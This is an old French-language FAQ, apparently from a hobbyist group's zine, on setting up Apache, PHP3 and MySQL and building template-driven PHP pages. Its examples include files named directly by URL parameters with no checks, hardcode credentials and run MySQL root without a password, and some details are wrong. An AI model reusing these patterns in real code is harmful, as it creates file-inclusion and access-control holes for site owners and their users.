    N'oubliez pas de faire une copie de votre fichier httpd.conf, car c'est le seul fichier que vous serez amener à modifier (il est très sensible)

    Recherchez la ligne ServerName; enlever le # (c'est comme un REM dans autoexec.bat) et vous mettez localhost comme nom de serveur :

    ServerName localhost

    Ca suffit pour rendre apache fonctionnel, après il faut amorcer le serveur en lançant l'exécutable, ce qui vous donnera une fenêtre msdos. Maintenant tester en local en mettant http://localhost/ dans votre  browser et ainsi vous pourrez accéder aux rubriques d'aide apache.
    Il faut également modifier cette ligne dans le httpd.conf , cherchez la ligne qui commence par : DirectoryIndex et vous la remplacez par :
    DirectoryIndex index.html index.htm index.php index.php3 index.phtml

    Ensuite recherchez la ligne : Addtype application et mettre ceci :

    • ScriptAlias /php3/ " d:/php3/ "
    • AddType application/x-httpd-php3 .php
    • AddType application/x-httpd-php3 .php3
    • AddType application/x-httpd-php3 .phtml
    • AddType application/x-httpd-php3-source .phps>
    • Action application/x-httpd-php3 " /php3/php.exe "

    La premiere ligne (ScriptAlias /php3/ " d:/php3/ ") se base sur le principe que vous avez installez php sur le lecteur D:\ si vous l'avez mis sur c:\ vous modifiez en conséquence.
    Après ça, vous sauvez, vous arrêtez et vous redémarrez apache et vous pouvez tester le code test.php3 . Il suffit de taper :http://localhost/test.php3"



    Comment installer et configurer le serveur apache/php3 sous Unix ?

    Allez prendre les sources sur http://www.apache.org ou http://www.php.net
    Maintenant, on configure Apache pour placer :
    - Les fichiers de config dans /etc/httpd
    - Les données qui seront installées dans /home/httpd
    - Les logs dans /var/log/httpd
    - Le reste sera installé par défaut dans /usr/local/apache

    tar xzfv apache_1.3.6.tar.gz
    $ cd apache_1.3.6.tar.gz
    $ ./configure --sysconfdir=/etc/httpd --datadir=/home/httpd
    --logfiledir=/var/log/httpd

    On va maintenant configurer PHP3 comme module d'apache avec le support MySQL:
    $ cd ..
    $ tar xzfv php-3.0.11.tar.gz
    $ cd php-3.0.11
    $ ./configure --with-mysql --with-config-file-path=/etc/httpd
    --with-apache=../apache_1.3.6 --enable-track-vars

    On installe PHP3...
    $ make
    $ make install

    Il faut à nouveau configurer Apache pour prendre en charge le module et l'installer. N'oubliez surtout pas de copier le fichier config de PHP3:
    $ cd ../apache_1.3.6
    $ ./configure --sysconfdir=/etc/httpd --datadir=/home/httpd
    --logfikedir=/var/log/httpd --activate-module=src/modules/php3/libphp3.a
    $ make
    $ su
    $ make install
    $ cd ../php-3.0.11
    $ cp php3.ini-dist /etc/httpd/php3.ini

    Il ne reste plus qu'a éditer le fichier config principal d'apache et éventuellement celui de PHP3 avant de lancer le serveur. Editez le fichier
    "/etc/httpd/httpd.conf" et vérifiez que le port est bien 80 et
    modifiez cette ligne:
    DirectoryIndex index.html index.php3
    Supprimez la et remplacez la par:
    AddType application/x-httpd-php3 .php3
    AddType application/x-httpd-php3-source .phps

    La partie installation est maintenant terminée, il ne reste plus qu'à tester.. :)
    Apache ce lance exactement comme MySQL, c à dire par un script:
    $ /usr/local/apache/bin/apachectl start



    Installer mysql sous Unix ?

    D'abord faut aller récupérer les sources sur http://www.mysql.net ou http://www.php.net
    Placez les ensuite par ex. dans /usr/local:
    $ cp mysql-3.22.25.tar.gz /usr/local

    décompressez-les:
    $ cd /usr/local
    $ tar xzfv mysql-3.22.25.tar.gz
    $ cd mysql-3.22.25

    Compilez:
    $ ./configure
    $ make
    $ make install

    Ca se complique un peu car il faut lancer un script qui va créer la base de donnée initiale de MySQL:
    $ /usr/local/mysql-3.22.25/scripts/mysql_install_db

    Le server est commandé par un script qui se trouve ici:
    $ /usr/local/mysql-3.22.25/support-files/mysql.server

    Maintenant il faut rendre le script éxécutable:
    $ chmod +x /usr/local/mysql-3.22.25/support-files/mysql.server

    Normalement MySQL est bien installé, pour vous en assurez tapez:
    local/mysql-3.22.25/support-files/mysql.server start
    et si vous voyez le msg "Starting mysql daemon with database from
    /usr/local/mysql/var" c que ca marche :)

    Une fois le serveur lancé vous pouvez vous y connecter en utilisateur root (root étant l'administrateur de MySQL) sans mot de pass. Pour plus de sécuritéon va donner un mot de passe à l'utilisateur root:$ /usr/local/mysql/bin/mysqladmin -u root password votre motdepasse
    Voilà, now c un peu plus sécurisé.. :)



    Installer mysql sous Windows 9x ?

    D'abord faut aller récupérer les sources sur http://www.mysql.net

    Installer la version télécharger en choissisant install par defaut puis vous lancez "mysqld.exe" directement depuis son folder (il s'execute en arriere plan donc si la fenetre msdos disparait c'est bon signe donc inutile de le lancer deux fois.)
    Pour verifier, aller sous dos et taper : telnet localhost 3306 La connexion va foirer mais elle affichera un truc comme :
    "3.xx.xx-version?-|LEVbhd" C'est la confirmation que le serveur tourne.
    Aucun reglage n'est requis vous pouvez utiliser immediatement myadmin avec localhost, root et aucun password.

    Si vous l'installez en local, va falloir editer votre php.ini et retirer le ";" qui se trouve devant la ligne :
    extension=php3_mysql.dll
    Et recopier cette ligne en haut de votre script sinon ca ne marchera pas



    Installer mysql sous Windows NT ?

    D'abord faut aller récupérer les sources sur http://www.mysql.net

    Choisir install par defaut et monter mysql en service.
    Pour ca, aller sous dos dans le repertoire
    c:/mysql/bin (ou autre si sélectionné) et taper :
    mysqld -- install

    Attention dans la derniere version de mysql, le nom de l'executable a changé, il s'appelle probablement mysqld-shareware.exe
    ex : mysqld-shareware --install

    Ensuite aller dans le panneau de configuration de windows NT et ouvrir l'icone services afin de verifier si mysql y figure bien et qu'il est démarré.



    Installer Myadmin?

    D'abord faut aller récupérer les sources sur http://www.phpwizard.net
    Télécharger MyAdmin. Decompressez le package dans un dossier se trouvant dans votre webdir, ensuite vous editez le fichier config.inc.php3 et vous y rentrez les infos necessaires (serveur, login, pass, nom de la base). ensuite il n'y a plus qu'a lancer index.php3 et vous voila sur votre base de donnée.(l'administration)



    Ma page index.php3 ne se charge pas ?

    Vous créez une page index.html et vous y mettez ce code :

    <html>
    <head></head>
    <body>
    <script>
    document.location="index.php3";
    </script>
    </body>
    </html>

    C'est du javascript et en plus ca empêche de retourner en arrière.

    Si vous avez la possibilité de modifier votre httpd.conf, allez voir la ligne qui contient les infos du DirectoryIndex et mettez ceci :
    DirectoryIndex index.html index.htm index.php3 index.php index.phtml
    Arretez et redemarrez apache et le tour est joué.

    Note : l'ordre des pages est arbitraire, si vous avez un fichier index.html ET un fichier index.php3 c'est le .html qui se lancera par defaut.



    Comment est structurée une base de donnée ?

    Une base de donnees est structuree comme suit :

    Nom de la base
    +---Table1
          +---champ1
          +---champ2
          +---champ3

    +---Table2
          +---champ1
          +---champ2

    +---Table3
          +---champ1
          +---champ2



    Peut on utiliser un format texte (csv) au lieu d'utiliser mysql ?

    Préambule :
    Le format texte est plus facile d'utilisation car il se sert des permissions locales pour gerer les acces aux ressources contenant les donnees (des fichiers au format texte).
    Pas besoin d'avoir de nom de host, user et mot de passe, car c'est NOBODY (ou un process dédié) qui effectue les opérations.
    Chaque acces devra passer par une verification des permissions au niveau du systeme de fichiers et on devient donc tres dependant des performances du serveur.
    En revanche MySQL est beaucoup plus rapide d'acces car il ne passe pas par les permissions du systeme de fichiers local.
    Il a son propre systeme d'authentification, il s'execute dans une zone séparée de la mémoire qui est partagée avec le préprocesseur php installé, ce qui a pour effet de booster les performances.


    On peut tres bien utiliser un fichier format texte pour stocker les informations au lieu de passer par mysql. Il faut commencer par classer les informations dans un fichier texte en respectant
    ce format :

    Une entree par ligne
    Chaque champ est séparé par un " ; "
    Tous les champs sont remplis
    Le ";" n'est pas utilise dans la valeur des champs

    Ceci est un format base de donnees classique (CSV) que vous pouvez reproduire, par exemple en exportant votre adressbook d'outlook.
    Ouvrez outlook express, cliquez sur fichier/exporter/exporter carnet d'adresse et choisir "fichier texte, valeurs separees par des virgules", vous donnez un nom de fichier , et vous y specifiez les champs que vous voulez exporter, et vous l'exportez sur votre bureau. Ensuite vous editez le fichier avec notepad (sans l'option retour a la ligne automatique). Vous pouvez constater que la premiere
    ligne comporte les titres des champs, et les autres lignes comportent des informations correspondant aux titres de ces champs.
    En terme de bases de donnees, cette premiere ligne contient le nom des champs, les autres lignes sont des entrees.
    Les champs font partie d'une table et la table fait partie de la base. C'est ainsi que l'on decrit la structure d'une base de donnees.
    Les differents champs sont separes par le " ; " et tout fonctionnera bien du moment que ce que vous ne mettez pas de " ; " ailleurs que comme separateur

    (exemple : http://www.blob.gag/abcg.htm?ukw=1264;&wxc=4564 )

    fera tout foirer car il y a un ";" dans l'url)
    Ceci dit,vous pouvez tres bien choisir d'utiliser deux ou trois caracteres comme separateurs (ex : "|!&" ), reduisant ainsi les chances de te retrouver avec des comportements indesires. Mais pour une question de compatibilite avec mysql, oracle etc, il vaut mieux s'en tenir au ";"

    Astuce : vous pouvez utilisez ce separateur " ¬ " à la place de " ; "



    C'est quoi un requete SQL

    C'est une phrase que vous composez pour demander a une base de donnees de
    livrer des infos.
    Plus votre phrase est complexe, plus la reponse de la base est precise.Vous avez par exemple 300 entrees dans la base , et vous voulez rechercher toutes les entrees dont la premiere lettre est P, qui datent de moins d'une semaine et qui contiennent le mot CRYPTO.
    votre phrase aura donc la syntaxe suivante :

    $$> use database Nom_de_la_base;
    $$> SELECT * FROM lexique WHERE (date-time()<3600*24*5) AND ((lettre='p') OR
    (lettre='P')) AND description LIKE %crypto%;


    En theorie vous etes connecte a la base de donnees en mode terminal, mais comme c'est la methode la plus debile et la plus chiante (pour ceux qui ont une vie sociale) on ne va en parler qu'en theorie, ca vous permettra d'imaginer une facon de la reproduire avec php3 (vous ecrivez votre ligne de requete une fois et vous l'executez plusieurs fois).
    La premiere ligne vous fait selectionner la base que vous allez utiliser (il peut y en avoir plusieurs).
    Le * apres select va informer le serveur DB qu'il va falloir renvoyer les valeurs dans TOUS les champs de la table 'lexique' pour chaque condition remplie (SELECT * from lexique).
    Le WHERE definit les conditions de la requete. Dans ce cas, on definit une limite dans le temps, assumant que chaque champ de la base a été populé avec des valeurs unix time, ce qui permet en comparant de savoir a quelle date l'entree a ete introduite dans la DB. Je suppose que vous connaissez les boleennes (OR, AND) et leurs priorites par rapport aux parentheses, elles affinent la recherche de la meme facon que quand vous mettez un + entre deux mots dans un moteur de recherche.
    Le LIKE vous premet de chercher une correspondance dans une chaine de longueur differente, donc si dans le champ description, il se trouve le mot crypto, la DB renverra toute l'entree.
    A la fin vous vous retrouverez avec un flux de donnees qui sont renvoyees sous forme de tableau (un peu comme le format CSV), il faut que vous ayez des outils pour pouvoir manipuler ca en tableau, l'instruction php qui s'occupe de ca est array() et il y en a d'autres.



    Les moteurs de recherche vont t-il indexer mon site malgres le fait qu'il soit dynamique ?

    Tout depend des parametres du moteur de recherche, un moteur comme dejanews par exemple ne sera pas dérangé par cette methode alors que google ou altavista devront systematiquement se référer aux tags META ainsi qu'au fichier ROBOTS.TXT qui doit se trouve a la racine de votre site
    (voir http://www.w3c.org pour les standards).


    Si vous remplissez bien le tag meta, il visitera seulement les pages de votre choix, aller donc voir sur http://phpwizard.net sur le meta generator, il est tres pratique (c'est un script php3)... Le code source est dispo dans la zone help/about



    Problème avec Note Pad (les retour chariots)

    Avec les fichiers csv, il ne faut pas de retour chariot mais quand la ligne est trop importante textpad rajoute des retour chariot (voici la question et les explications)

    ndt : achetez ce prog il est genial !

    Quand j'enregistre avec le notepad je choissis enregistrer sous au format texte mais quand je l'ouvre il me dit que c'est trop volumineux pourl'ouvrir avec le blocnote et me demande si je veux l'ouvrir avec notepad je dis oui et je m'appercois que certaine ligne ne sont plus a la ligne mais avec un retour chariot alors que dans mon note pad j'avais pas de retour chariot (ou est l'erreur)..

    Okay, il est temps de changer d'editeur texte, je te propose TEXTPAD, il existe en francais sur www.textpad.com
    Il colorise, le php, le javascript, le php, l'asp, etc, etc



    Un exemple concret de fichier csv

    Tout d'abord voici la table (c'est un exemple):

    +---astuce
          +---sujet
          +---fichier
          +---description
          +---date

    et voici le fichier csv qui y correspond

    sujet;fichier;description;date
    dos;dos001.htm;la commande dir;20/06/2000

    si un champs est vide par exemple ici on va prendre la date, vous remarquez que l'on ne met rien mais que l'on met tout de meme le separateur " ; "
    dos;dos001.htm;la commande dir;;



    Quel est l'avantage d'une base de donnée ?

    L'avantage premier d'une base de donnees est de pouvoir stocker des informations classées en grande quantité.
    La force de ce support est l'acces sélectif qu'il permet.
    Ces acces s'effectuent en formulant des requetes sous forme de phrases.
    Le standard le plus utilisé est le SQL (Simple Query Language) et il a été popularisé par ORACLE.

    L'autre avantage c'est qu'avec les DB (data base=base de donnée) vous les configurez une fois et apres vous n'y touchez plus
    Niveau DB une fois que c'est regle y a plus rien a faire.



    Un script qui permet d'afficher le contenu d'un fichier csv dans un tableau

    <?
    # le separateur
    $separator="¬";

    # le ou les fichiers a scanner
    $csvfile[0]="nom_de_votre_fichier.csv";
    // $csvfile[1]="nom_de_votre_fichier.csv";
    // $csvfile[2]="nom_de_votre_fichier.csv";
    // $csvfile[3]="nom_de_votre_fichier.csv";

    # le code html pour afficher :
    $table_in="<table align=center border=1>";
    $table_out="</table>";
    $row_in="<tr>";
    $row_out="</tr>";
    $field_in="<td bgcolor=#c0c0c0><nobr><font size=-1><b>";
    $field_out="&nbsp;</td>";

    # Combien de fichiers a scanner ?
    $nb=count($csvfile);
    $i=0;

    while($i<$nb)
    {
    # a activer si heberge par php4
    // error_reporting(1);
    $row=0;
    # ouvre le fichier csv en lecture
    $fpread=@fopen($csvfile[$i], "r") or die;
    echo $table_in;
    while ($buffer=fgetcsv($fpread, 65535, $separator))
    {
    # combien de champs ?
    $num = count($buffer);
    echo $row_in;
    $row++;
    for ( $c=0; $c<11; $c++ ) print
    $field_in.$buffer[$c].$field_out;
    echo $row_out;
    }
    echo $table_out;
    $i++;
    }
    ?>



    Comment stocker le header dans un fichier php3 ?

    Voici la structure d'un header contenu dans un fichiers html
    <html>
    <head>
    </head>
    <body background="back.jpg" bgcolor="#000000" text="#FFFFFF"
    link="#00FF00" vlink="#0000FF">

    Avec php vous pouvez stocker des donnees dans des variables, et elles seront reutilisables pendant tout le deroulement du script
    par ex :

    $couleur_fond="#000000";
    $couleur_texte="#ffffff";
    $couleur_titre="yellow";

    Apres a chaque fois quevous avez besoin de rappeler cette couleur
    vous rappellez la variable en l'ecrivant dans le document :
    <body bgcolor="<? echo $couleur_fond; ?>" text="<? echo $couleur_texte; ?>">
    etc..etc..

    De la meme facon, vous pouvez inclure un autre document a l'interieur de celui qui s'execute.

    Si par exemple vous remplacez le haut de votre page (et tout le code html ,head, body, bgsound, etc) par une ligne comme ca :

    <? include("header.php3") ?>

    vous creez au prealable un fichier header.php3 dans lequel vous recopiez le code html et vous pouvez deja exporter votre header et le reutiliser sur tout votre site en l'appelant de la meme facon :

    <? include("header.php3"); ?>

    vous pouvez faire la meme chose pour le footer.



    Un exemple concret de header, footer, config et index.php3

    le config.php3

    <?
    // les deux barres permettent d'ecrire un commentaire sans gener l'execution du code
    //couleur du texte et des liens
    $fond="#000000";
    $texte="#FFFFFF";
    $couleur_link="#00FF00";
    $couleur_vlink="#80FFFF";
    $couleur_alink="#FFFFFF";
    $topmargin="0";
    $title="ICI LE TITRE DE VOTRE SITE";
    ?>

    le header.php3

    <HTML>
    <HEAD>
    <META HTTP-EQUIV="remplissez vos meta tag">
    <META HTTP-EQUIV="remplissez vos meta tag">
    <META NAME="remplissez vos meta tag">
    <META NAME="remplissez vos meta tag">
    <META NAME="remplissez vos meta tag">
    <TITLE><? echo $title; ?></TITLE>
    </HEAD>
    <BODY topmargin="<? echo $topmargin; ?>" background="<? echo $background; ?>" bgcolor="<? echo $fond; ?>" text="<? echo $texte; ?>" link="<? echo $couleur_link; ?>" vlink="<? echo $couleur_vlink; ?>" alink="<? echo $couleur_alink; ?>">

    ainsi grace au variable definie dans le config on recupere les valeurs

    $fond="#000000";
    $texte="#FFFFFF";
    $couleur_link="#00FF00";
    $couleur_vlink="#80FFFF";
    $couleur_alink="#FFFFFF";
    $topmargin="0";

    le footer.php3

    </BODY>
    </HTML>

    Ecrivez les balises qui terminent toutes vos pages html ou htm

    le index.php3

    l'index.php3 va recupe toutes les valeurs definies dans vos differents fichiers de configuration soit:

    <?
    include ("config.php3");
    include ("header.php3");

    //maintenant reste plus qu'a appeler un fichier soit :
    include ("votre_fichier"."php3");

    include ("footer.php3");
    ?>

    L'avantage de cette technique c'est que vous pouvez retirer tout le code html qui figure deja dans le config, header et le footer soit ici:

    <HTML>
    <HEAD>
    <META HTTP-EQUIV="remplissez vos meta tag">
    <META HTTP-EQUIV="remplissez vos meta tag">
    <META NAME="remplissez vos meta tag">
    <META NAME="remplissez vos meta tag">
    <META NAME="remplissez vos meta tag">
    <TITLE><? echo $title; ?></TITLE>
    </HEAD>
    <BODY>

    </BODY>
    </HTML>

    Maintenant vous pouvez changer l'apparance de vos pages grace a un seul fichier soit le config.php3

    Vous pouvez faire de meme pour les stats et les pub soit des fichiers php3 (statistique.php3 et publicite.php3)



    Comment stocker les variables du config.php3 dans ma base de donnée ?

    il suffit de creer une table variable dans laquelle on mettra des valeurs qui seront stocker de facon temporaires ou definitives .

    Variable
    .......+Var_nom
    .......+Var_valeur


    Comment on declare une variable ?
    D'abord on lui trouve un nom, ensuite on lui assigne une valeur.
    ex :
    x=1
    Le nom c'est "x" et sa valeur c'est 1.
    On a donc deux entites (nom et valeur) qui sont en commun avec tout ce que vous povez pouvoir manipuler.

    Il suffit de creer une table avec deux champs, "nom" et "valeur" et d'y stocker tout ce qu'il te faut :

    background=>back.jpg
    fond=>#000000
    texte=>#ffffff
    couleur_lien=>#00FF00
    couleur_vlien=>#0000FF
    fichier_sound1=>parfums.mp3
    fichier_sound2=>nuit.mp3

    En php ca donnerait :

    $background="back.jpg";
    $fond="#000000";
    $texte="#ffffff";
    $couleur_lien="#00FF00";
    $couleur_vlien="#0000FF";
    $fichier_sound1="parfums.mp3";
    $fichier_sound2="nuit.mp3";

    en csv :
    background¬back.jpg
    fond¬#000000
    texte¬#ffffff
    couleur_lien¬#00FF00
    couleur_vlien¬#0000FF

    etc......



    Comment faire des liens sur mes pages ?

    Disons que tous vos liens ne pointent plus sur des pages mais sur des donnees. Prenons l'exemple d'un lien qui va afficher le document page1.htm.
    Nous avons deux facons d'y arriver, la premiere (classique) est le lien hypertexte vers le nom du document, la deuxieme (php) est un lien hypertexte vers le script d'index (par defaut sur le serveur) avec envoi de donnee par le biais de l'url :
    1) <a href=page1.htm>Page1</a> methode classique
    2) <a href=index.php3?var_page=page1.htm>Page1</a> methode sophistiquee


    Dans le cas No1, Page1.htm existe et ne contient que du blabla texte, sans header ni footer,
    Si vous cliquez sur le lien votre page s'affiche mais pour revenir a l'index, vous etes oblige de revenir en arriere ou d'ajouter un lien "back" sur votre document page1.htm
    Pas tres pratique si vous avez 500 pages a modifier...

    Dans le cas No2, la page index.php3 debutera avec une variable deja declaree par l'url (equivalent de $var_page="page1.htm";) et on pourra donc la reutiliser dans le script.

    Dans index.php3 on se retrouve avec:
    <?
    include("config.php3");
    include("header.php3");

    if (file_exists($var_page)) { include($var_page); }
    else { include("404.htm"); }

    include("footer.php3");
    ?>

    Le if(file_exists) verifie si le fichier est bien present avant de le charger, ca evite l'affichage d'un message d'erreur. On peut meme gerer quelques types d'erreurs internes au cas ou le fichier
    appelé n'existe pas.

    Donc en appelant le document de cette facon : http://mon.domaine/index.php3?var_page=le_nom_de_ma_page.htm
    la page est generee "on the fly" (a la volee) et le petit feignant qui sommeille en chacun de nous se retrouve comblé par la satisfaction.



    Comment coder la police de caractere et la taille ?

    C'est le meme principe que pour le config et le header ...

    Dans votre config.php3 vous definissez vos variables :

     

    $font_f_title="<font face=verdana>";
    $font_s_title="<font size=2>";
    $font_c_title="<font color=blue>";

    $font_f_box="<font face=arial>";
    $font_s_box="<font size=2>";
    $font_c_box="<font color=blue>";

    f pour la face, s pour le size et c pour la couleur :ca permet de ci retrouver plus facilement plus tard :

    Dans le meme esprit vous pouvez definir les tables :
    $box_m_width="650";
    $box_m_height="400";
    $box_m_color="gray";
    $box_main="<table width=$box_m_width height=$box_m_height
    bgcolor=$box_m_color>";

    Ensuite il ne vous reste plus qu'a coder chaqu'un de vos fichiers htm ou html ou php3 :
    il suffit de rapeller vos variables , pour ce faire voici le code :

    ainsi vous pouvez remplacer votre <font face=verdana> par ceci < ? echo $font_f_title ; ?>

    mais vous pouvez faire ceci :

    $font_title="<font size=2 face=verdana color=#000000>";

    soit pour appeler toute la chaine <font size=2 face=verdana color=#000000>
    vous ecrivez ceci <? echo $font_title ; ?>

    vous pouvez egalement utiliser les feuilles de style pour faire ceci



    Je suis heberge en php 4 , mes scripts sont en php3 et j'ai plein de WARNING ?

    Ca se regle sans probleme avec ceci :

    error_reporting(o);
    ou
    error_reporting(1);



    J'ai plein de table a creer je dois les creer à la main (y pas plus simple) ?

    Vous avez probablement un fichier .sql qui vous est donne avec les scripts que vous recuperer et qui contient les commandes de creation des tables et champs.
    Vous avez un textarea dans MyAdmin
    "Exécuter une ou des requêtes sur la base nom_de_votre_base "
    Vous y collez le contenu de votre fichier .sql ou .mysql soit par exmple :

    CREATE TABLE vbooth_data (
    pollID int(11) NOT NULL,
    optionText char(50) NOT NULL,
    optionCount int(11) DEFAULT '0' NOT NULL,
    voteID int(11) DEFAULT '0' NOT NULL
    );

    et vous appuyez sur executer



    J'ai recupere un script php mais par quoi on commence ?

    Avec les scripts php en general il y a un fichier de config a triturer avant de commencer.



    Impossible d'affichier un fichier qui se trouve dans un repertoire a partir de mon index.php3

    Deplacez votre fichier a la racine et appelez des modules qui appellent des modules.

    ex:

    dans index.php3
    <?
    $var_page="votre_fichier";
    include($votre_fichier.".php3");
    ?>

    dans votre_fichier.php3 :*
    <?
    $sondage_folder="votre_repertoire";
    $vote_index_file="le_fichier_a_appeler";
    include($sondage_folder."/".$vote_index_file);
    ?>


    De cette facon le pointeur php reste a la racine, meme si vous incluez un fichier qui est dans un sous-sous-sous dossier, vous n'aurez plus a rajouter des "../" partout et votre dossier "votre_repertoire" peut etre deplace, renomme, mis dans un sous-dossier, sans que vous ayez a modifier aucun des fichiers qui s'y trouvent (vous modifiez juste le fichier qui appelle ce fichier)..



    Je n'arrive pas a faire varier mes pages a partir de l'index.php3 ?

    <?
    include("config.php3");
    include("header.php3");

    include("votre_page_accueil.php3");


    include("footer.php3");
    ?>

    Le probleme vient du faite que vous avez figé votre page sur l'accueil et du meme coup impossible de faire varier le contenu.

    Reprenons le schema de navigation :


    1ere visite => index.php3 affichera la page d'accueil (par defaut)
    1er click => index.php3 affichera la page appelée par le lien cliqué

    Les url se presenteront comme suit :
    http://mon.domaine/

    Et lors d'un appel de lien :
    http://mon.domaine/?page=liens
    http://mon.domaine/?page=astuces&section=win
    etc..etc

    Donc on peut s'appuyer sur une valeur hypothetique stoquee dans la
    variable $page.
    Meme chose avec $section (le dossier ou se trouve la page que vous voulez inclure)
    Si cette variable n'existe pas, on lui assigne une valeur par defaut :

    if (!$page) $page="votre_page_accueil";
    if(!$section) $section="pages/";

    ensuite on inclut le module appelé
    include($section.$page.".php3");

    Et sur vos liens vous pouvez mettre :
    <a href=index.php3?page=le_page_a_appeler&section=le_repertoire_ou_se_trouve_la page>le_titre_du_lien</a>



    Comment passer des variables d'une page à l'autre ( la methode POST et la methode GET ) ?

    Il y a deux facons :
    1) le formulaire (methode POST)
    <input name="nom_de_la_variable" value="valeur">
    Sera recu par la cible comme etant
    $nom_de_la_variable="valeur";

    2) le lien (la methode GET)
    <a href=nom_de_la_page_cible.php3?nom_de_la_variable=valeur&autre_variable=autr
    e_valeur>texte a lier</a>

    Une methode sympa en php consiste a remplacer les mots qui definissent les noms de variables par d'autres variables.



    Ou trouver des scripts en php ?

    Sur le site http://www.nexen.net/allreponse (dans la section bookmake puis php3 & php4)

    Sinon voici deux bonnes adresses :http://www.hotscripts.com/cgi-bin/search.cgi?query=php&category=All
    ou
    http://www.trippant.org/index.php3



    La fonction mail() de php

    Tout d'abord vous creez un fichier formulaire.html avec ceci:

    <html>
    <body>

    Veuillez vous en enregistrer : <br>

    <form method="post" action="traitement.php3">

    Nom : <input type="text" name="nom" value=""><br>
    Prenom : <input type="text" name="prenom" value=""><br>
    Pays : <input type="text" name="pays" value="France"><br>

    <select name="sexe">
    <option value="masculin">masculin
    <option value="feminin">feminin
    </select>

    <input type="submit" value="Envoyer">

    </form>

    </body>
    </html>

    ------------------------------------

    Maintenant, il faut recuperer les donnees avant de les envoyer
    Creer le fichier traitement.php3 comme specifier plus haut avec ceci:

    <html>
    <body>

    Les informations suivantes nous ont été envoyées : <br>
    <?

    //On affiche ici les informations saisie
    echo " Nom : $nom <br>";
    echo " Prenom : $prenom <br>";
    echo " Pays : $pays <br>";
    echo " Sexe : $sexe <br>";

    //On envoit un mail contenant les données
    mail("mon@adresse.email","Formulaire en ligne","$nom\n$prenom\n$pays\n$sexe","From: mon@adresse.email\nReply-To: mon@adresse.email");

    ?>

    </body>
    </html>


    Maintenant imaginons que tout votre site est gere dynamiquement soit à la place de :
    <form method="post" action="traitement.php3">
    on ecrit surtout pas ca (bien que ca fonctionne:
    <form method="post" action="index.php3?section=votre_repertoire/&page=la_page_traitement">

    il faut ecrire ceci plutot parce que dans un post, on ne precise que l' URI et non pas l' URL soit :
    <form method=post action=index.php3>
    <input type=hidden name="section" value="votre_repertoire/">
    <input type=hidden name="page" value="la_page_traitement">

    et dans votre page d'index vous mettez ceci :
    if($page=="") $page="votre_page_d'accueil_du_site";
    if($section=="") $section="votre_repertoire_ou_se_trouve_la_page_d'acceuil";
    if (file_exists("$section$page.php3"))
    { include ("$section$page.php3"); }

    Elle déconne gravement sur toutes les versions de win32.



    La fonction page-1 ca existe ?

    Cette fonction existe mais c'est du javascript
    <a href="" onclick="history.back()">Page précedente</a>

    Toutefois, il est possible de le faire en php aussi :
    <a href="<? echo $HTTP_REFERRER; ?>">Page précedente</a>



    Comment faire quand j'appelle mes pages depuis la page index , pour ne pas rajouter de ../ devant chaque image ?

    Le "../" est commun a toutes vos images quand une condition est remplie.
    Identifiez cette condition et attribuez lui la valeur commune "../"
    Ex :
    dans le config.php3
    if($section!="") $image_folder="/$section../images";

    dans vos fichiers :
    echo "<img src=$image_folder/image.gif>";

    eventuellement vous redeclarez la variable pour chaque section comme ca vous pouvez meme definir un dossier image par folder.



    Comment proteger une page ?

    Vous avez juste a remplacer "login" par votre nom et "pass" par votre mot de passe

    <?php
    if(!isset($PHP_AUTH_USER)) {
    Header("WWW-Authenticate: Basic entrer=\"Entrer dans la page\" ");
    Header("HTTP/1.0 401 Unauthorized");
    echo "Vous avez appuyé sur le bouton annuler!!!\n";
    exit;
    } else {
    if ( ($PHP_AUTH_USER == "login") && ( $PHP_AUTH_PW == "pass" ))
    {
    echo "<html><body><center><h1>BIENVENUE <P></h1></center></body></html>";
    }
    else
    {
    echo "<html><body><center><h1>VOUS N'AVEZ PAS L'AUTORISATION<P></h1></center></body></html>";
    }
    }
    ?>



    Comment proteger un repertoire ?

    DEMANDER AVANT A VOTRE HEBERGEUR S'IL AUTORISE CETTE FONCTION

    Voici tout d'abord le premier fichier, que l'on appelera : htaccess
    Celui-ci contient les directives qui nous permettent de protéger le répertoire.


    --------------------------------------------------------------------------------

    AuthUserFile home/repertoire/.htpasswd
    AuthGroupFile /dev/null
    AuthName ByPassword
    AuthType Basic

    <limit GET>
    require valid-user
    </Limit>


    --------------------------------------------------------------------------------

    Maintenant, créer un cichier qui contiendra les couples : Nom d'utilisateur + login.
    Nous appelerons ce fichier : htpasswd
    Ce fichier ce présente sous la forme suivante :

    martin:Xfv46GgHz
    jean:FrgyHYJUJjj
    Francois:FRZScgtHYk

    il est possible de crypter les mots de pass a cette adresse vous trouverez ce genre d'outil :
    http://php3.hebergement-discount.com/protection.php3

    Vos fichiers htpasswd et htaccess sont terminé.
    Envoyez les sur le serveur dans le répertoire à protéger.
    Renommez les en .htpasswd et .htaccess


    ¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
    
    
    
    
    
    
    
    
    
    the end
    
    
    
    
    _________________________________________________________________________________
    ¬­®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬­®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦§¨©ª«¬¡¢£¤¥ ¦§¨©ª«¬­
    ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
                             -<\________________________/>-
       ~~    ~~    ~~    ~~°ºØø¦   ¿ H A C K 0 F F ?    ¦øغ°~~    ~~    ~~    ~~
    ~~    ~~    ~~    ~~    ~-</¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\>-~    ~~    ~~    ~~    ~~
       ~~    ~~    ~~    ~~      http://come.to/legang   ~   ~~    ~~    ~~    ~~
    ~~    ~~    ~~    ~~    ~~                            ~~    ~~   ~~    ~~    ~~
       ~~    ~~    ~~    ~    http://lasavate.tripod.com      ~~    ~~    ~~    ~~
    ~~    ~~    ~~    ~~    ~                              ~    ~~    ~~    ~~    ~~
    ...Des commentaires, des questions, des insultes, ecrivez aux membres du gang...
    _________________________________________________________________________________
